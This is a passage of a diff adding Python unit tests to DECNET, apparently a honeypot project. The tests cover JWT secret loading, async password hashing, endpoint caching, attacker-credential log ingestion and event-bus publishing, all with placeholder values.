# Reaching the DB init phase means the gate passed; we don't need to
|
||||
# actually finish startup. Cancel via a synthetic exception that the
|
||||
# lifespan doesn't catch.
|
||||
# Reaching repo.initialize means the gate passed. We don't actually
|
||||
# need DB to come up — short-circuit and assert no master-only raise.
|
||||
seen: list[str] = []
|
||||
|
||||
async def _spy(*_a, **_kw):
|
||||
seen.append("init_called")
|
||||
|
||||
monkeypatch.setattr(api.repo, "initialize", _spy)
|
||||
asyncio.get_event_loop_policy().new_event_loop().run_until_complete(
|
||||
_run_lifespan_startup(api)
|
||||
)
|
||||
assert seen == ["init_called"], "DB init should have been reached, gate must be inert"
|
||||
|
||||
|
||||
def test_master_api_eager_loads_jwt_secret_at_startup(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
) -> None:
|
||||
"""The lifespan must touch DECNET_JWT_SECRET so a missing/insecure
|
||||
value fails at boot rather than on the first auth-gated request.
|
||||
|
||||
We can't realistically exercise the raise-on-missing path in this
|
||||
repo: dev hosts have a populated .env.local that dotenv auto-loads,
|
||||
and conftest seeds a JWT secret globally. The actual raise behaviour
|
||||
is covered by tests/web/test_env_lazy_jwt.py — here we just assert
|
||||
the lifespan calls into the env module's lazy resolver.
|
||||
"""
|
||||
monkeypatch.setenv("DECNET_MODE", "master")
|
||||
monkeypatch.setenv("DECNET_JWT_SECRET", "y" * 32)
|
||||
monkeypatch.setenv("DECNET_API_HOST", "127.0.0.1")
|
||||
monkeypatch.delenv("DECNET_CORS_ORIGINS", raising=False)
|
||||
api = _reload_api(monkeypatch)
|
||||
import decnet.env as env_mod
|
||||
|
||||
seen: list[str] = []
|
||||
real_getattr = env_mod.__getattr__
|
||||
|
||||
def _spy(name: str) -> str:
|
||||
seen.append(name)
|
||||
return real_getattr(name)
|
||||
|
||||
monkeypatch.setattr(env_mod, "__getattr__", _spy, raising=False)
|
||||
|
||||
async def _noop_init(*_a, **_kw) -> None:
|
||||
return None
|
||||
|
||||
monkeypatch.setattr(api.repo, "initialize", _noop_init)
|
||||
asyncio.get_event_loop_policy().new_event_loop().run_until_complete(
|
||||
_run_lifespan_startup(api)
|
||||
)
|
||||
assert "DECNET_JWT_SECRET" in seen, (
|
||||
"lifespan must access env.DECNET_JWT_SECRET at startup"
|
||||
)
|
||||
51
tests/web/test_auth_async.py
Normal file
51
tests/web/test_auth_async.py
Normal file
@@ -0,0 +1,51 @@
|
||||
"""
|
||||
averify_password / ahash_password run bcrypt on a thread so the event
|
||||
loop can serve other requests while hashing. Contract: they must produce
|
||||
identical results to the sync versions.
|
||||
"""
|
||||
import pytest
|
||||
|
||||
from decnet.web.auth import (
|
||||
ahash_password,
|
||||
averify_password,
|
||||
get_password_hash,
|
||||
verify_password,
|
||||
)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_ahash_matches_sync_hash_verify():
|
||||
hashed = await ahash_password("hunter2")
|
||||
assert verify_password("hunter2", hashed)
|
||||
assert not verify_password("wrong", hashed)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_averify_matches_sync_verify():
|
||||
hashed = get_password_hash("s3cret")
|
||||
assert await averify_password("s3cret", hashed) is True
|
||||
assert await averify_password("s3cre", hashed) is False
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_averify_does_not_block_loop():
|
||||
"""Two concurrent averify calls should run in parallel (on threads).
|
||||
|
||||
With `asyncio.to_thread`, total wall time is ~max(a, b), not a+b.
|
||||
"""
|
||||
import asyncio, time
|
||||
|
||||
hashed = get_password_hash("x")
|
||||
t0 = time.perf_counter()
|
||||
a, b = await asyncio.gather(
|
||||
averify_password("x", hashed),
|
||||
averify_password("x", hashed),
|
||||
)
|
||||
elapsed = time.perf_counter() - t0
|
||||
assert a and b
|
||||
# Sequential would be ~2× a single verify. Parallel on threads is ~1×.
|
||||
# Single verify is ~250ms at rounds=12. Allow slack for CI noise.
|
||||
single = time.perf_counter()
|
||||
verify_password("x", hashed)
|
||||
single_time = time.perf_counter() - single
|
||||
assert elapsed < 1.7 * single_time, f"concurrent {elapsed:.3f}s vs single {single_time:.3f}s"
|
||||
62
tests/web/test_env_lazy_jwt.py
Normal file
62
tests/web/test_env_lazy_jwt.py
Normal file
@@ -0,0 +1,62 @@
|
||||
"""The JWT secret must be lazy: agent/updater subcommands should import
|
||||
`decnet.env` without DECNET_JWT_SECRET being set."""
|
||||
from __future__ import annotations
|
||||
|
||||
import importlib
|
||||
import os
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
|
||||
def _reimport_env(monkeypatch):
|
||||
monkeypatch.delenv("DECNET_JWT_SECRET", raising=False)
|
||||
for mod in list(sys.modules):
|
||||
if mod == "decnet.env" or mod.startswith("decnet.env."):
|
||||
sys.modules.pop(mod)
|
||||
return importlib.import_module("decnet.env")
|
||||
|
||||
|
||||
def test_env_imports_without_jwt_secret(monkeypatch):
|
||||
env = _reimport_env(monkeypatch)
|
||||
assert hasattr(env, "DECNET_API_PORT")
|
||||
|
||||
|
||||
def test_jwt_secret_access_returns_value_when_set(monkeypatch):
|
||||
monkeypatch.setenv("DECNET_JWT_SECRET", "x" * 32)
|
||||
env = _reimport_env(monkeypatch)
|
||||
monkeypatch.setenv("DECNET_JWT_SECRET", "x" * 32)
|
||||
assert env.DECNET_JWT_SECRET == "x" * 32
|
||||
|
||||
|
||||
def test_agent_cli_imports_without_jwt_secret(monkeypatch, tmp_path):
|
||||
"""Subprocess check: `decnet agent --help` must succeed with no
|
||||
DECNET_JWT_SECRET in the environment and no .env file in cwd."""
|
||||
import subprocess
|
||||
import pathlib
|
||||
clean_env = {
|
||||
k: v for k, v in os.environ.items()
|
||||
if not k.startswith("DECNET_") and not k.startswith("PYTEST")
|
||||
}
|
||||
clean_env["PATH"] = os.environ["PATH"]
|
||||
clean_env["HOME"] = str(tmp_path)
|
||||
repo = pathlib.Path(__file__).resolve().parent.parent.parent
|
||||
# binary = repo / ".venv" / "bin" / "decnet"
|
||||
binary = Path(sys.executable).parent / "decnet"
|
||||
result = subprocess.run(
|
||||
[str(binary), "agent", "--help"],
|
||||
cwd=str(tmp_path),
|
||||
env=clean_env,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=15,
|
||||
)
|
||||
assert result.returncode == 0, result.stderr
|
||||
assert "worker agent" in result.stdout.lower()
|
||||
|
||||
|
||||
def test_unknown_attr_still_raises(monkeypatch):
|
||||
env = _reimport_env(monkeypatch)
|
||||
with pytest.raises(AttributeError):
|
||||
_ = env.DOES_NOT_EXIST
|
||||
67
tests/web/test_health_config_cache.py
Normal file
67
tests/web/test_health_config_cache.py
Normal file
@@ -0,0 +1,67 @@
|
||||
"""
|
||||
TTL-cache contract: under concurrent load, N callers collapse to 1 repo hit
|
||||
per TTL window. Tests use fake repo objects — no real DB.
|
||||
"""
|
||||
import asyncio
|
||||
from unittest.mock import patch
|
||||
|
||||
import pytest
|
||||
|
||||
from decnet.web.router.health import api_get_health
|
||||
from decnet.web.router.config import api_get_config
|
||||
|
||||
|
||||
class _FakeRepo:
|
||||
def __init__(self):
|
||||
self.total_logs_calls = 0
|
||||
self.state_calls = 0
|
||||
|
||||
async def get_total_logs(self):
|
||||
self.total_logs_calls += 1
|
||||
return 0
|
||||
|
||||
async def get_state(self, name: str):
|
||||
self.state_calls += 1
|
||||
return {"name": name}
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_db_cache_collapses_concurrent_calls():
|
||||
api_get_health._reset_db_cache()
|
||||
fake = _FakeRepo()
|
||||
with patch.object(api_get_health, "repo", fake):
|
||||
results = await asyncio.gather(*[api_get_health._check_database_cached() for _ in range(50)])
|
||||
assert all(r.status == "ok" for r in results)
|
||||
assert fake.total_logs_calls == 1
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_db_cache_expires_after_ttl(monkeypatch):
|
||||
api_get_health._reset_db_cache()
|
||||
monkeypatch.setattr(api_get_health, "_DB_CHECK_INTERVAL", 0.05)
|
||||
fake = _FakeRepo()
|
||||
with patch.object(api_get_health, "repo", fake):
|
||||
await api_get_health._check_database_cached()
|
||||
await asyncio.sleep(0.1)
|
||||
await api_get_health._check_database_cached()
|
||||
assert fake.total_logs_calls == 2
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_config_state_cache_collapses_concurrent_calls():
|
||||
api_get_config._reset_state_cache()
|
||||
fake = _FakeRepo()
|
||||
with patch.object(api_get_config, "repo", fake):
|
||||
results = await asyncio.gather(*[api_get_config._get_state_cached("config_limits") for _ in range(30)])
|
||||
assert all(r == {"name": "config_limits"} for r in results)
|
||||
assert fake.state_calls == 1
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_config_state_cache_per_key():
|
||||
api_get_config._reset_state_cache()
|
||||
fake = _FakeRepo()
|
||||
with patch.object(api_get_config, "repo", fake):
|
||||
await api_get_config._get_state_cached("config_limits")
|
||||
await api_get_config._get_state_cached("config_globals")
|
||||
assert fake.state_calls == 2
|
||||
414
tests/web/test_ingester.py
Normal file
414
tests/web/test_ingester.py
Normal file
@@ -0,0 +1,414 @@
|
||||
"""
|
||||
Tests for decnet/web/ingester.py
|
||||
|
||||
Covers log_ingestion_worker and _extract_bounty with
|
||||
async tests using temporary files.
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import json
|
||||
import os
|
||||
from unittest.mock import AsyncMock, MagicMock, patch
|
||||
|
||||
import pytest
|
||||
|
||||
|
||||
# ── _extract_bounty ───────────────────────────────────────────────────────────
|
||||
|
||||
class TestExtractBounty:
|
||||
@pytest.mark.asyncio
|
||||
async def test_credential_native_shape(self):
|
||||
"""SSH/Telnet auth-helper shape (secret_b64) → upsert_credential."""
|
||||
from decnet.web.ingester import _extract_bounty
|
||||
import base64, hashlib
|
||||
mock_repo = MagicMock()
|
||||
mock_repo.upsert_credential = AsyncMock()
|
||||
log_data: dict = {
|
||||
"decky": "decky-01",
|
||||
"service": "ssh",
|
||||
"attacker_ip": "10.0.0.5",
|
||||
"fields": {
|
||||
"username": "root",
|
||||
"principal": "root",
|
||||
"secret_printable": "hunter2",
|
||||
"secret_b64": base64.b64encode(b"hunter2").decode(),
|
||||
},
|
||||
}
|
||||
await _extract_bounty(mock_repo, log_data)
|
||||
mock_repo.upsert_credential.assert_awaited_once()
|
||||
cred = mock_repo.upsert_credential.call_args[0][0]
|
||||
assert cred["service"] == "ssh"
|
||||
assert cred["principal"] == "root"
|
||||
assert cred["secret_sha256"] == hashlib.sha256(b"hunter2").hexdigest()
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_credential_native_invalid_b64_dropped(self):
|
||||
"""Malformed secret_b64 → row dropped with a warning, no upsert."""
|
||||
from decnet.web.ingester import _extract_bounty
|
||||
mock_repo = MagicMock()
|
||||
mock_repo.upsert_credential = AsyncMock()
|
||||
log_data: dict = {
|
||||
"decky": "decky-01",
|
||||
"service": "ssh",
|
||||
"attacker_ip": "10.0.0.5",
|
||||
"fields": {"secret_b64": "not!base64!!"},
|
||||
}
|
||||
await _extract_bounty(mock_repo, log_data)
|
||||
mock_repo.upsert_credential.assert_not_awaited()
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_no_fields_skips(self):
|
||||
from decnet.web.ingester import _extract_bounty
|
||||
mock_repo = MagicMock()
|
||||
mock_repo.upsert_credential = AsyncMock()
|
||||
await _extract_bounty(mock_repo, {"decky": "x"})
|
||||
mock_repo.upsert_credential.assert_not_awaited()
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_fields_not_dict_skips(self):
|
||||
from decnet.web.ingester import _extract_bounty
|
||||
mock_repo = MagicMock()
|
||||
mock_repo.upsert_credential = AsyncMock()
|
||||
await _extract_bounty(mock_repo, {"fields": "not-a-dict"})
|
||||
mock_repo.upsert_credential.assert_not_awaited()
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_no_secret_b64_no_credential(self):
|
||||
"""The native branch keys off `secret_b64`. Fields lacking it
|
||||
produce no Credential row — even if username/password keys
|
||||
from the pre-migration era are present, they're now ignored."""
|
||||
from decnet.web.ingester import _extract_bounty
|
||||
mock_repo = MagicMock()
|
||||
mock_repo.upsert_credential = AsyncMock()
|
||||
# Pre-migration shape — adapter is gone; this is a no-op path.
|
||||
await _extract_bounty(mock_repo, {
|
||||
"fields": {"username": "admin", "password": "stale"},
|
||||
})
|
||||
mock_repo.upsert_credential.assert_not_awaited()
|
||||
|
||||
|
||||
# ── log_ingestion_worker ──────────────────────────────────────────────────────
|
||||
|
||||
class TestLogIngestionWorker:
|
||||
@pytest.mark.asyncio
|
||||
async def test_no_env_var_returns_immediately(self):
|
||||
from decnet.web.ingester import log_ingestion_worker
|
||||
mock_repo = MagicMock()
|
||||
with patch.dict(os.environ, {}, clear=False):
|
||||
# Remove DECNET_INGEST_LOG_FILE if set
|
||||
os.environ.pop("DECNET_INGEST_LOG_FILE", None)
|
||||
await log_ingestion_worker(mock_repo)
|
||||
# Should return immediately without error
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_file_not_exists_waits(self, tmp_path):
|
||||
from decnet.web.ingester import log_ingestion_worker
|
||||
mock_repo = MagicMock()
|
||||
mock_repo.add_log = AsyncMock()
|
||||
mock_repo.add_logs = AsyncMock()
|
||||
mock_repo.get_state = AsyncMock(return_value=None)
|
||||
mock_repo.set_state = AsyncMock()
|
||||
log_file = str(tmp_path / "nonexistent.log")
|
||||
_call_count: int = 0
|
||||
|
||||
async def fake_sleep(secs):
|
||||
nonlocal _call_count
|
||||
_call_count += 1
|
||||
if _call_count >= 2:
|
||||
raise asyncio.CancelledError()
|
||||
|
||||
with patch.dict(os.environ, {"DECNET_INGEST_LOG_FILE": log_file}):
|
||||
with patch("decnet.web.ingester.asyncio.sleep", side_effect=fake_sleep):
|
||||
with pytest.raises(asyncio.CancelledError):
|
||||
await log_ingestion_worker(mock_repo)
|
||||
mock_repo.add_logs.assert_not_awaited()
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_ingests_json_lines(self, tmp_path):
|
||||
from decnet.web.ingester import log_ingestion_worker
|
||||
mock_repo = MagicMock()
|
||||
mock_repo.add_log = AsyncMock()
|
||||
mock_repo.add_logs = AsyncMock()
|
||||
mock_repo.add_bounty = AsyncMock()
|
||||
mock_repo.get_state = AsyncMock(return_value=None)
|
||||
mock_repo.set_state = AsyncMock()
|
||||
|
||||
log_file = str(tmp_path / "test.log")
|
||||
json_file = tmp_path / "test.json"
|
||||
json_file.write_text(
|
||||
json.dumps({"decky": "d1", "service": "ssh", "event_type": "auth",
|
||||
"attacker_ip": "1.2.3.4", "fields": {}, "raw_line": "x", "msg": ""}) + "\n"
|
||||
)
|
||||
|
||||
_call_count: int = 0
|
||||
|
||||
async def fake_sleep(secs):
|
||||
nonlocal _call_count
|
||||
_call_count += 1
|
||||
if _call_count >= 2:
|
||||
raise asyncio.CancelledError()
|
||||
|
||||
with patch.dict(os.environ, {"DECNET_INGEST_LOG_FILE": log_file}):
|
||||
with patch("decnet.web.ingester.asyncio.sleep", side_effect=fake_sleep):
|
||||
with pytest.raises(asyncio.CancelledError):
|
||||
await log_ingestion_worker(mock_repo)
|
||||
|
||||
mock_repo.add_logs.assert_awaited_once()
|
||||
_batch = mock_repo.add_logs.call_args[0][0]
|
||||
assert len(_batch) == 1
|
||||
assert _batch[0]["attacker_ip"] == "1.2.3.4"
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_handles_json_decode_error(self, tmp_path):
|
||||
from decnet.web.ingester import log_ingestion_worker
|
||||
mock_repo = MagicMock()
|
||||
mock_repo.add_log = AsyncMock()
|
||||
mock_repo.add_logs = AsyncMock()
|
||||
mock_repo.add_bounty = AsyncMock()
|
||||
mock_repo.get_state = AsyncMock(return_value=None)
|
||||
mock_repo.set_state = AsyncMock()
|
||||
|
||||
log_file = str(tmp_path / "test.log")
|
||||
json_file = tmp_path / "test.json"
|
||||
json_file.write_text("not valid json\n")
|
||||
|
||||
_call_count: int = 0
|
||||
|
||||
async def fake_sleep(secs):
|
||||
nonlocal _call_count
|
||||
_call_count += 1
|
||||
if _call_count >= 2:
|
||||
raise asyncio.CancelledError()
|
||||
|
||||
with patch.dict(os.environ, {"DECNET_INGEST_LOG_FILE": log_file}):
|
||||
with patch("decnet.web.ingester.asyncio.sleep", side_effect=fake_sleep):
|
||||
with pytest.raises(asyncio.CancelledError):
|
||||
await log_ingestion_worker(mock_repo)
|
||||
|
||||
mock_repo.add_logs.assert_not_awaited()
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_file_truncation_resets_position(self, tmp_path):
|
||||
from decnet.web.ingester import log_ingestion_worker
|
||||
mock_repo = MagicMock()
|
||||
mock_repo.add_log = AsyncMock()
|
||||
mock_repo.add_logs = AsyncMock()
|
||||
mock_repo.add_bounty = AsyncMock()
|
||||
mock_repo.get_state = AsyncMock(return_value=None)
|
||||
mock_repo.set_state = AsyncMock()
|
||||
|
||||
log_file = str(tmp_path / "test.log")
|
||||
json_file = tmp_path / "test.json"
|
||||
|
||||
_line: str = json.dumps({"decky": "d1", "service": "ssh", "event_type": "auth",
|
||||
"attacker_ip": "1.2.3.4", "fields": {}, "raw_line": "x", "msg": ""})
|
||||
# Write 2 lines, then truncate to 1
|
||||
json_file.write_text(_line + "\n" + _line + "\n")
|
||||
|
||||
_call_count: int = 0
|
||||
|
||||
async def fake_sleep(secs):
|
||||
nonlocal _call_count
|
||||
_call_count += 1
|
||||
if _call_count == 2:
|
||||
# Simulate truncation
|
||||
json_file.write_text(_line + "\n")
|
||||
if _call_count >= 4:
|
||||
raise asyncio.CancelledError()
|
||||
|
||||
with patch.dict(os.environ, {"DECNET_INGEST_LOG_FILE": log_file}):
|
||||
with patch("decnet.web.ingester.asyncio.sleep", side_effect=fake_sleep):
|
||||
with pytest.raises(asyncio.CancelledError):
|
||||
await log_ingestion_worker(mock_repo)
|
||||
|
||||
# Should have ingested lines from original + after truncation
|
||||
_total = sum(len(call.args[0]) for call in mock_repo.add_logs.call_args_list)
|
||||
assert _total >= 2
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_partial_line_not_processed(self, tmp_path):
|
||||
from decnet.web.ingester import log_ingestion_worker
|
||||
mock_repo = MagicMock()
|
||||
mock_repo.add_log = AsyncMock()
|
||||
mock_repo.add_logs = AsyncMock()
|
||||
mock_repo.add_bounty = AsyncMock()
|
||||
mock_repo.get_state = AsyncMock(return_value=None)
|
||||
mock_repo.set_state = AsyncMock()
|
||||
|
||||
log_file = str(tmp_path / "test.log")
|
||||
json_file = tmp_path / "test.json"
|
||||
# Write a partial line (no newline at end)
|
||||
json_file.write_text('{"partial": true')
|
||||
|
||||
_call_count: int = 0
|
||||
|
||||
async def fake_sleep(secs):
|
||||
nonlocal _call_count
|
||||
_call_count += 1
|
||||
if _call_count >= 2:
|
||||
raise asyncio.CancelledError()
|
||||
|
||||
with patch.dict(os.environ, {"DECNET_INGEST_LOG_FILE": log_file}):
|
||||
with patch("decnet.web.ingester.asyncio.sleep", side_effect=fake_sleep):
|
||||
with pytest.raises(asyncio.CancelledError):
|
||||
await log_ingestion_worker(mock_repo)
|
||||
|
||||
mock_repo.add_logs.assert_not_awaited()
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_position_restored_skips_already_seen_lines(self, tmp_path):
|
||||
"""Worker resumes from saved position and skips already-ingested content."""
|
||||
from decnet.web.ingester import log_ingestion_worker
|
||||
mock_repo = MagicMock()
|
||||
mock_repo.add_log = AsyncMock()
|
||||
mock_repo.add_logs = AsyncMock()
|
||||
mock_repo.add_bounty = AsyncMock()
|
||||
mock_repo.set_state = AsyncMock()
|
||||
|
||||
log_file = str(tmp_path / "test.log")
|
||||
json_file = tmp_path / "test.json"
|
||||
|
||||
line_old = json.dumps({"decky": "d1", "service": "ssh", "event_type": "auth",
|
||||
"attacker_ip": "1.1.1.1", "fields": {}, "raw_line": "x", "msg": ""}) + "\n"
|
||||
line_new = json.dumps({"decky": "d2", "service": "ftp", "event_type": "auth",
|
||||
"attacker_ip": "2.2.2.2", "fields": {}, "raw_line": "y", "msg": ""}) + "\n"
|
||||
|
||||
json_file.write_text(line_old + line_new)
|
||||
|
||||
# Saved position points to end of first line — only line_new should be ingested
|
||||
saved_position = len(line_old.encode("utf-8"))
|
||||
mock_repo.get_state = AsyncMock(return_value={"position": saved_position})
|
||||
|
||||
_call_count: int = 0
|
||||
|
||||
async def fake_sleep(secs):
|
||||
nonlocal _call_count
|
||||
_call_count += 1
|
||||
if _call_count >= 2:
|
||||
raise asyncio.CancelledError()
|
||||
|
||||
with patch.dict(os.environ, {"DECNET_INGEST_LOG_FILE": log_file}):
|
||||
with patch("decnet.web.ingester.asyncio.sleep", side_effect=fake_sleep):
|
||||
with pytest.raises(asyncio.CancelledError):
|
||||
await log_ingestion_worker(mock_repo)
|
||||
|
||||
_rows = [r for call in mock_repo.add_logs.call_args_list for r in call.args[0]]
|
||||
assert len(_rows) == 1
|
||||
assert _rows[0]["attacker_ip"] == "2.2.2.2"
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_set_state_called_with_position_after_batch(self, tmp_path):
|
||||
"""set_state is called with the updated byte position after processing lines."""
|
||||
from decnet.web.ingester import log_ingestion_worker, _INGEST_STATE_KEY
|
||||
mock_repo = MagicMock()
|
||||
mock_repo.add_log = AsyncMock()
|
||||
mock_repo.add_logs = AsyncMock()
|
||||
mock_repo.add_bounty = AsyncMock()
|
||||
mock_repo.get_state = AsyncMock(return_value=None)
|
||||
mock_repo.set_state = AsyncMock()
|
||||
|
||||
log_file = str(tmp_path / "test.log")
|
||||
json_file = tmp_path / "test.json"
|
||||
line = json.dumps({"decky": "d1", "service": "ssh", "event_type": "auth",
|
||||
"attacker_ip": "1.1.1.1", "fields": {}, "raw_line": "x", "msg": ""}) + "\n"
|
||||
json_file.write_text(line)
|
||||
|
||||
_call_count: int = 0
|
||||
|
||||
async def fake_sleep(secs):
|
||||
nonlocal _call_count
|
||||
_call_count += 1
|
||||
if _call_count >= 2:
|
||||
raise asyncio.CancelledError()
|
||||
|
||||
with patch.dict(os.environ, {"DECNET_INGEST_LOG_FILE": log_file}):
|
||||
with patch("decnet.web.ingester.asyncio.sleep", side_effect=fake_sleep):
|
||||
with pytest.raises(asyncio.CancelledError):
|
||||
await log_ingestion_worker(mock_repo)
|
||||
|
||||
set_state_calls = mock_repo.set_state.call_args_list
|
||||
position_calls = [c for c in set_state_calls if c[0][0] == _INGEST_STATE_KEY]
|
||||
assert position_calls, "set_state never called with ingest position key"
|
||||
saved_pos = position_calls[-1][0][1]["position"]
|
||||
assert saved_pos == len(line.encode("utf-8"))
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_batches_many_lines_into_few_commits(self, tmp_path):
|
||||
"""250 lines with BATCH_SIZE=100 should flush in a handful of calls."""
|
||||
from decnet.web.ingester import log_ingestion_worker
|
||||
mock_repo = MagicMock()
|
||||
mock_repo.add_log = AsyncMock()
|
||||
mock_repo.add_logs = AsyncMock()
|
||||
mock_repo.add_bounty = AsyncMock()
|
||||
mock_repo.get_state = AsyncMock(return_value=None)
|
||||
mock_repo.set_state = AsyncMock()
|
||||
|
||||
log_file = str(tmp_path / "test.log")
|
||||
json_file = tmp_path / "test.json"
|
||||
_lines = "".join(
|
||||
json.dumps({
|
||||
"decky": f"d{i}", "service": "ssh", "event_type": "auth",
|
||||
"attacker_ip": f"10.0.0.{i % 256}", "fields": {}, "raw_line": "x", "msg": ""
|
||||
}) + "\n"
|
||||
for i in range(250)
|
||||
)
|
||||
json_file.write_text(_lines)
|
||||
|
||||
_call_count: int = 0
|
||||
|
||||
async def fake_sleep(secs):
|
||||
nonlocal _call_count
|
||||
_call_count += 1
|
||||
if _call_count >= 2:
|
||||
raise asyncio.CancelledError()
|
||||
|
||||
with patch.dict(os.environ, {"DECNET_INGEST_LOG_FILE": log_file}):
|
||||
with patch("decnet.web.ingester.asyncio.sleep", side_effect=fake_sleep):
|
||||
with pytest.raises(asyncio.CancelledError):
|
||||
await log_ingestion_worker(mock_repo)
|
||||
|
||||
# 250 lines, batch=100 → 2 size-triggered flushes + 1 remainder flush.
|
||||
# Asserting <= 5 leaves headroom for time-triggered flushes on slow CI.
|
||||
assert mock_repo.add_logs.await_count <= 5
|
||||
_rows = [r for call in mock_repo.add_logs.call_args_list for r in call.args[0]]
|
||||
assert len(_rows) == 250
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_truncation_resets_and_saves_zero_position(self, tmp_path):
|
||||
"""On file truncation, set_state is called with position=0."""
|
||||
from decnet.web.ingester import log_ingestion_worker, _INGEST_STATE_KEY
|
||||
mock_repo = MagicMock()
|
||||
mock_repo.add_log = AsyncMock()
|
||||
mock_repo.add_logs = AsyncMock()
|
||||
mock_repo.add_bounty = AsyncMock()
|
||||
mock_repo.set_state = AsyncMock()
|
||||
|
||||
log_file = str(tmp_path / "test.log")
|
||||
json_file = tmp_path / "test.json"
|
||||
|
||||
line = json.dumps({"decky": "d1", "service": "ssh", "event_type": "auth",
|
||||
"attacker_ip": "1.1.1.1", "fields": {}, "raw_line": "x", "msg": ""}) + "\n"
|
||||
# Pretend the saved position is past the end (simulates prior larger file)
|
||||
big_position = len(line.encode("utf-8")) * 10
|
||||
mock_repo.get_state = AsyncMock(return_value={"position": big_position})
|
||||
|
||||
json_file.write_text(line) # file is smaller than saved position → truncation
|
||||
|
||||
_call_count: int = 0
|
||||
|
||||
async def fake_sleep(secs):
|
||||
nonlocal _call_count
|
||||
_call_count += 1
|
||||
if _call_count >= 2:
|
||||
raise asyncio.CancelledError()
|
||||
|
||||
with patch.dict(os.environ, {"DECNET_INGEST_LOG_FILE": log_file}):
|
||||
with patch("decnet.web.ingester.asyncio.sleep", side_effect=fake_sleep):
|
||||
with pytest.raises(asyncio.CancelledError):
|
||||
await log_ingestion_worker(mock_repo)
|
||||
|
||||
reset_calls = [
|
||||
c for c in mock_repo.set_state.call_args_list
|
||||
if c[0][0] == _INGEST_STATE_KEY and c[0][1] == {"position": 0}
|
||||
]
|
||||
assert reset_calls, "set_state not called with position=0 after truncation"
|
||||
150
tests/web/test_ingester_bus.py
Normal file
150
tests/web/test_ingester_bus.py
Normal file
@@ -0,0 +1,150 @@
|
||||
"""Bus wiring for the ingester (DEBT-031, worker 6).
|
||||
|
||||
The ingester emits one ``system.log`` event per DB-committed batch via
|
||||
``_publish_batch``. Per-line noise lives on the collector side; the
|
||||
ingester's job is to signal "N rows landed in the DB up to offset P" so
|
||||
heartbeat / federation consumers can tail DB progress without polling
|
||||
the state table.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
|
||||
import pytest
|
||||
import pytest_asyncio
|
||||
|
||||
from decnet.bus.fake import FakeBus
|
||||
from decnet.web.ingester import _publish_batch
|
||||
|
||||
|
||||
@pytest_asyncio.fixture
|
||||
async def bus() -> FakeBus:
|
||||
b = FakeBus()
|
||||
await b.connect()
|
||||
yield b
|
||||
await b.close()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_publish_batch_fires_on_nonempty_flush(bus: FakeBus) -> None:
|
||||
sub = bus.subscribe("system.log")
|
||||
async with sub:
|
||||
await _publish_batch(bus, flushed=17, position=4096)
|
||||
event = await asyncio.wait_for(sub.__anext__(), timeout=2.0)
|
||||
|
||||
assert event.topic == "system.log"
|
||||
assert event.type == "batch_committed"
|
||||
assert event.payload == {
|
||||
"component": "ingester",
|
||||
"flushed": 17,
|
||||
"position": 4096,
|
||||
}
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_publish_batch_skips_zero_row_flush(bus: FakeBus) -> None:
|
||||
# An empty batch shouldn't pollute the topic — nothing to signal.
|
||||
sub = bus.subscribe("system.log")
|
||||
async with sub:
|
||||
await _publish_batch(bus, flushed=0, position=0)
|
||||
# Expect nothing within a short window. asyncio.wait_for raises
|
||||
# TimeoutError when no event arrives.
|
||||
with pytest.raises(asyncio.TimeoutError):
|
||||
await asyncio.wait_for(sub.__anext__(), timeout=0.2)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_publish_batch_is_noop_when_bus_is_none() -> None:
|
||||
# Bus-disabled path: ingester passes bus=None into _publish_batch.
|
||||
# Must be a safe no-op; no exceptions, no hangs.
|
||||
await _publish_batch(None, flushed=5, position=123)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_publish_batch_swallows_bus_failures(monkeypatch) -> None:
|
||||
# A dead bus must never break the ingestion loop.
|
||||
class _ExplodingBus:
|
||||
async def publish(self, *_args, **_kwargs):
|
||||
raise RuntimeError("transport exploded")
|
||||
|
||||
await _publish_batch(_ExplodingBus(), flushed=3, position=42)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_credential_captured_published_on_upsert(bus: FakeBus) -> None:
|
||||
"""A successful credential ingest publishes ``credential.captured`` once
|
||||
with the secret hash, kind, attacker IP, decky, and service.
|
||||
"""
|
||||
from unittest.mock import AsyncMock
|
||||
|
||||
from decnet.web.ingester import _ingest_credential_native
|
||||
|
||||
repo = AsyncMock()
|
||||
repo.upsert_credential = AsyncMock(return_value=1)
|
||||
|
||||
sub = bus.subscribe("credential.captured")
|
||||
async with sub:
|
||||
await _ingest_credential_native(
|
||||
repo,
|
||||
log_data={
|
||||
"attacker_ip": "10.0.0.5",
|
||||
"decky": "decky-01",
|
||||
"service": "ssh",
|
||||
},
|
||||
fields={
|
||||
"secret_b64": "aHVudGVyMg==",
|
||||
"secret_kind": "plaintext",
|
||||
"principal": "root",
|
||||
"secret_printable": "hunter2",
|
||||
},
|
